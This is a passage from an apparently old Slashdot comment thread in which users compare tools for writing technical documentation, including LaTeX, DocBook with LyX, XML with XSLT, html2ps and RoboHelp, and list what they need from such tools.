    --
    -- Ed Carp, N7EKG erc@pobox.com PGP KeyID: 0x0BD32C9B What I'm up to: http://intuitives.mine.nu
  269. Re:No question - use LaTeX - DVIPDFM by fatbitch · · Score: 1
    ps2pdf always produces jaggy pdf (in my experience) when read using windows


    dvi2pdfm gives faultless output every time....

  270. Re:No question - use LaTeX - DVIPDFM by Dekel · · Score: 1
    ps2pdf always produces jaggy pdf (in my experience) when read using windows

    This can easily be changed. See the TeX FAQ

  271. Re: second time ... by Tracian · · Score: 1

    Cliff, I had similar experience (problems) with ms word but was enduring them until maybe year ago when it became to much to wrestle every day several hours with "intelligent" application that thinks that it knows how document should look better than I. The last straws were (and I can still reproduce them from time to time): 1) reformating one buleted list in complex document causes automatic reformating of all other bulleted lists in the same document, 2) changing block of the text into some of the header forms/fonts (or in the body text, etc ...) changes all of the sudden location and default font family in which that text is displayed. It is user (and not the application) who should be in control of the layout of the document and its appearance. Since I could not avoid writing numerous documents (part of the job), I found following solution that works for me: i) write document in XML, ii) transform it (via XSLT) into html, iii) load that html file into ms word, tweak it, export it in rtf (ms rich tect format) format, iv) send the document to the other members of group It took me couple of weeks of my free time (maybe 3 hours for dtd and 20 hours of work on xslt) to develop the initial DTD and XSLT (this one was moderate pain to do) files, and now I keep changing them as I realise that some new tag or attribute is necessary/handy. XML IDE of choice (XML Spy) is able to display in parallel the source code (of XML) and its appearance as in browser so I can write documents quite rapidly. Advantages of this approach are A) separation of content (text and logical organization of data) and appearance/presentation, B) documents do not depend on the version of any software (xml files is essentialy plain text, editable by any text editor), C) formating of appearance can be spoiled (by msword) only at the very end, D) i am planing to learn how to export data in pdf and other interesting/useful formats in the future E) it is relatively rapid to redisplay partial content of the xml file using different xslt instruction file (so, I do not have to form new data/document file via cut and paste and change from the old one, but, instead, I am using excatly the same data/xml file for multiple presentations). Downsides: A) when ms word loads html file and export it as an doc or rtf, it still keeps some trace of "web-pagedness" in it, not allowing me to introduce page numbers and similar. However, that is the obstacle that I can get by at the moment. B) I would like to learn how to export my xml documents directly to the msword format (ala xslt transformation of xml into html, or fo transformation of xml into pdf). It appears that at the moment there are no free solutions for that problem (at this moment) at the market. Ideally one would have to write only one style-sheet with instructions on how to transform an XML document into .doc. Any suggestions, anyone? THanks, Traco ps. tex/latex is mighty thing to use, but it is comparably slow environment to write documentation in it. Also, it is not so portable into vareity of other document forms (how to produce .doc or .rtf format that majority of users in corporations expect?) Also, to see the display on tex document, one needs to always have parser (miktex, ...) and dvi viever (or ps viewer) etc ..., while xml can always be observed in the "low-tek" environment: just paste it onto ie (internet explorer) and it will be properly displayed.

  272. Re: TeXInfo is better than LaTeX by fireboy1919 · · Score: 2

    LaTeX can output RTF (and by that token also MAN), HTML, DVI, PS, and PDF. As far as quality to effort, many organizations have already created formatting classes to produce the desired document format used by many groups of people (for instance, you can get IEEE format easily). BibTeX, which is used extremely frequently with LaTeX, also makes it easy to manage huge bibliography databases. Also, the Math formatting is absolutely spectacular, and I doubt it could get simpler without losing functionality (I don't know that this is true - tell me if you've found the opposite to be true).

    What other formats are you looking for? And what do you mean, it has a higher output quality, and lower quality to effort ratio? You need to qualify that.

    I think that perhaps you're talking about writing a man or info page. Perhaps an application specifically designed for that purpose is better at it than a general purpose application, but overall, I think that the reason so many more people are using LaTeX for documentation than texinfo is because of its usefulness.

    --
    Mod me down and I will become more powerful than you can possibly imagine!
  273. documentation by wordsmith_evoy · · Score: 1

    If you're looking to buy a software package for writing online help, RoboHelp is pricey but does the trick. I've been using it for 4 years and even after attempting other tools like DocToHelp (a disaster on wheels, especially since Wextech's been bought out by ComponentOne). You can writing HTML and WebHelp with ease. It still gets my vote time and again.

  274. Re:LYX -- for DocBook! by denespal · · Score: 1
    I would recommend LyX and using the DocBook document class. Here's why:
    • DocBook was created exactly for writing technical docs, so it should have all the features you need.
    • SGML/XML is portable, can be processed with standard tools -- and XML seems to be the future so your stuff will remain readable for a long time (unlike using some proprietary format)
    • Pure text, works with CVS
    • HTML and PDF output works out of the box (infinite customization is possible using DSSSL/XSLT)
    However so far I haven't found the perfect tool for writing DocBook. (Someone mentioned Morphon but it didn't work for me -- it was slow, a bit complicated to start with, and crashed all the time (ok, it's beta or something).) Emacs is great but I find it too cumbersome to edit XML/SGML source. I think the LyX approach of WYSIWYM is the way to do structured documents. It makes you concentrate on the content, looks pretty and you can even configure it to use Emacs key bindings. I use it all the time for writing docs, and it's extremely efficient: I just type text as in Emacs, and do all the formatting with a few more keystrokes. LyX was originally designed to be a frontend for LaTeX, but it has DocBook book and acticle document classes as well! It only supports a subset of DocBook but it's evolving. Currently these things work (and I found I don't really need more):
    • basic structure like title, chapters, sections, etc.
    • links, cross refs
    • lists
    • simple tables
    • embedded images
    • code examples
  275. Re:LYX -- for DocBook! by Anonymous Coward · · Score: 0

    I have tested lyx using the docbook class - and it doesn't seem to be perfect.

    * It doesn't use docbook to store it's files. Lyx uses *lyx files a they do not contain xml/sgml :-( You can export the lyx file to DocBook.
    * Lyx can not import docbook.
    * embedded images doesn't work.

    This is version 1.1.6 fix3.

  276. The limits of LyX and DocBook? by MattCC · · Score: 1

    Can you fill me in on some details about using LyX and DocBook? I'm trying to figure out whether that combination can do the following for me:

    1. Allow me to write large amounts (500,000 words) of user-oriented doc split up into many topics, each in a separate file.

    2. Allow output to be in various forms, including printed, PDF, HTML and CHTML.

    3. Allow topics to be collected together in overlapping subsets for different purposes (e.g. to print a document with topics 1, 2 and 3 (along with title page, TOC and index); and at another time to produce a CHTML help system with topics 1, 4 and 5.)

    4. Some way of producing cross-references appropriate to the output format. i.e. if I have cross-references between source files (which semantically means a reference from one topic to another), when I produce printed output I want the cross-refs to refer to the correct page number, but when I produce HTML output I want the cross-refs to be hyperlinks between the correct HTML files.

    5. Some form of conditional tags which allow different text to be produced for different targets. The classic example is with cross references: I want "See Another Topic on page 64" for printed output, but when the same topic is used in HTML, the text should say "See Another Topic" as a hyperlink. But the requirement is more general: potentially any piece of text or graphics may be marked as conditional for certain output formats.

    Lastly, if I want all this to happen, what auxilliary software do I need on top of LyX?

    Matt.

  277. Re:HTML — html2ps by Smylers · · Score: 1

    You don't even have to rely on Mozilla or Opera to do the transformation for you, both of which can give slightly icky results for paper versions.

    html2ps is excellent for nicely formatting HTML as a paged document. It uses CSS, with a few of its own extensions (paper size, table of contents generation, hyphenation, page headers and footers, page numbers, and the like). It can even automatically swap in PostScript diagrams for gifs in the HTML source.

    It has the advantage over a browser in being scriptable you can have one makefile that runs HTML Tidy on your source, then converts it to PostScript (and possibly PDF too).

    You get all the benefits of a plain text format (CVS, etc), and paper/PDF output that many readers couldn't distinguish from having been word processed.

    Smylers

  278. Re:HTML — html2ps by ChristTrekker · · Score: 1

    Maybe Mozilla should have used the html2ps code for printing, then. (License compatibility?) Small tools.

  279. What are your requirements? by era_nospam · · Score: 1

    The obvious counter-question to a lot of the comments here is simply "what do you want it for?"

    When responding to a posting like the one which started this whole discussion, I think it should be fairly evident that we're talking about a solution which is flexible and scalable enough to be useful even for small documents like manual pages, and yet provide the power to do technically complex documentation with pictures, cross-references, multiple volumes, possibly multiple concurrent versions (a "lite" document and the "real thing" from the same sources, perhaps).

    I don't suppose anybody here would have experience with professional tools like Arbortext / Documation / whatchamacallit, at least enough to comment on where they fit into the big picture?

    My own list of requirements goes something like this --

    1. Flexible viewing and editing
      1. It should be possible to produce different views of the text (perhaps by piping the source file through a script or something).
      2. I should have control over what parts of text and how much of the metadata I see (seeing e.g. all my own comments and notes is an absolute requirement; in addition, outlining is nice, conditional inclusion is nice).
      3. I should not have to use a particular application in order to change the text or the metadata (i.e. I should be able to produce parts of the text by running a script, or I should be able to use my own source format and a formatter which produces what the typesetting/whatever system wants to see. I should be able to get sensible differences from a version control system, and easily merge stuff from one version into another).

      All of this points to an ASCII-based format, and Emacs as a pretty darn good primary editing tool.

      Also, it pretty much rules out any WYSIWYG editor. (There is no such thing as a "WYSIWYG editor" because editing is an activity where, by definition, you are not out to get what you see, but rather, to create a file which is meaningful both to you and to the computer. Using a word processor for this is completely misdirected.)

    2. Reasonable output
      1. Decent hardcopy. This used to be very hard to come by. troff is the only system I've tried which procuces remotely acceptable output without tweaking. TeX used to produce pretty ugly output, but I suppose that has improved (but you still need to tweak in order to get rid of Computer Modern, n'est-ce pas?)
      2. Decent HTML. If you use HTML as your actual format, this is a no-brainer. But most documentation systems nowadays can produce more or less palatable HTML. Some sort of hypertext architecture is required in order to get the most out of on-line renderings. But HTML is of course not the only game in town.
      3. Half-decent presentations. This is hard. I've had some good experience with HTML slides from the W3C SlideMaker tool, but it's very very pedestrian.

      I suppose PDF is something a lot of sites require nowadays, although it's not something I particularly care about. (In fact, I hate PDF.)

      The future trend here is probably XML with tools for producing HTML and troff output. (I don't know of any tool which does xxxML to troff, any pointers?)

    3. Text, code, and image modularity and integration
    4. Including images and code snippets should be trivial. Keeping them in separate files should not be hard or clumsy. Conversely, being able to do simple images (and code, of course) in-line would be very nice. (Good old troff with pic macros is pretty usable, if you can find somebody to teach you...)

      I've looked at various Literate Programming tools (noweb, POD, etc) and they all fail on some other criteria of mine, although I think the idea is very good indeed. My first gripe with these is that some sort of #include facility is a must, because the documentation file structure should be modular just like the code structure. (Anybody know of a LitProg system which doesn't have this limitation? Also it should preferably not require TeX and/or some particular programming language; I want to be able to document code in any programming language!)

      Mathematical formulas are not important in my work, but if they are important to you, TeX suddenly gets to seem attractive (at least until MathML takes off).

    5. Clear separation between content and presentation
    6. This is where I think TeX fails. I should not have to include instructions for italic correction or hyphenation hints smack dab in the text itself. (Is this a misdirected comment with newer versions?)

      Style sheets are pretty much a must for anything more complex than five to ten pages.

      Again, I have not found any tools that really fit the bill, but it looks to me like XML is pretty much the answer, longer term.

    7. Low overhead in expression
    8. My favorite here is definitely POD. HTML and XML have a terrible signal-to-noise ratio. They're okay for readers, but writing raw xxxML is too clumsy for me.

      I guess it's safe to say that troff -- with macros, or without -- is about as user friendly as assembly language...

    I'm afraid this came out less structured than I'd like it to be, but it's hopefully useful to somebody nevertheless. (I think it's pretty safe to blame the ridiculously small form submission box, and the inadequate form editor in my web browser. I did produce a first draft in Emacs, but then I had to make modifications...)